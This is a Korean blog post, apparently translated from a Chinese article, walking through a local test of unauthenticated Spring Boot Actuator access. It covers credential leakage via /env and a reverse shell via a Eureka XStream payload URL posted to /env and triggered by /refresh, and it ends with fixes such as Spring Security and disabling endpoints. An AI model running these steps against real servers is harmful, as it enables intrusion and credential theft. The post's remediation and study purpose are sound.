부장님께서 특정 src에서 이 취약점을 파내셨는데요. 오래된 구멍이라 흥미로워서 테스트해보려고 로컬 환경을 만들어 봤습니다.
Actuator는 응용 시스템의 자체 검사 및 모니터링을 위해 springboot에서 제공하는 기능 모듈입니다. Actuator의 도움으로 개발자는 응용 시스템의 특정 모니터링 지표에 대한 통계를 쉽게 보고 수집할 수 있습니다. Actuator를 활성화한 경우 관련 권한이 제어되지 않으면 불법 사용자가 기본 Actuator 엔드포인트에 접근하여 응용 시스템의 모니터링 정보를 획득할 수 있으며, 이로 인해 정보가 유출되거나 심지어 서버를 탈취할 수도 있습니다.
Actuator는 Spring Boot에서 제공하는 기능 모듈로, 응용 시스템의 내부 점검 및 모니터링에 사용할 수 있습니다. 제공되는 실행자 끝점은 기본 끝점과 사용자 정의 확장 끝점의 두 가지 범주로 나누어지며, 승인되지 않은 인터페이스를 찾고
env에서는 데이터베이스 계정 비밀번호(mangodb)가 유출될 수 있습니다. 물론 외부 네트워크가 열려 있어야 하므로 가능성은 적습니다.
외국인들은 sql 문을 실행할 수 있다고 하는데 아직 이해가 안 된다
취약점 발견
Exploit
/env 엔드포인트의 부적절한 구성으로 인해 RCE가 발생합니다.
spring -cloud-starter-netflix-eureka-client (기능 종속성)
Use python3 스크립트를 시작하려면 두 군데에 주의해야 합니다. 하나는 셸을 수신하는 IP와 포트이고 다른 하나는 셸을 위한 포트입니다.
Nc는 리바운드 쉘을 수신하기 위해 포트를 수신하고, 구성을 작성하고, /env 엔드포인트에 액세스하고, 패킷을 캡처하고, get 요청을 post 요청으로 변경합니다. 게시물 내용은 다음과 같습니다(ip는 스크립트에 의해 시작된 시스템의 IP입니다):eureka.client.serviceUrl.defaultZone=http://10.1.1.135:2333/xstream
그런 다음 /refresh를 방문하여 패킷을 캡처하고 게시 요청을 게시 요청으로 변경하세요.
그런 다음 NC 창에서 쉘이 성공적으로 반송된 것을 볼 수 있습니다.
보안견으로서 수리하지 않고는 그냥 파낼 수 없습니다. 프로젝트의 pom에 spring-boot-starter-security 종속성을 도입하고, 액세스 계정 비밀번호를 구성하세요. 응용 프로그램을 다시 시작하면 팝업이 나타납니다.
org.springframework.boot spring-boot-starter-security 인터페이스를 비활성화하려면 다음과 같이 설정하면 됩니다(예: env 인터페이스 비활성화 등).
endpoints.env.enabled= false
Question외국인들은 실행이 가능하다고 합니다. 가능한 방법이 정확하지 않습니다. 스크린샷을 찍어서 성공적으로 구현한 사람이 공유할 수 있기를 바랍니다.
실제 환경에서는 새로고침을 하지 않으면 문제가 많아 명령을 실행하지 못하는 현상이 발견됩니다. 아직까지 획기적인 발전은 없습니다
위 내용은 Spring Boot Actuator의 getshell에 대한 무단 액세스에 대한 분석 예의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!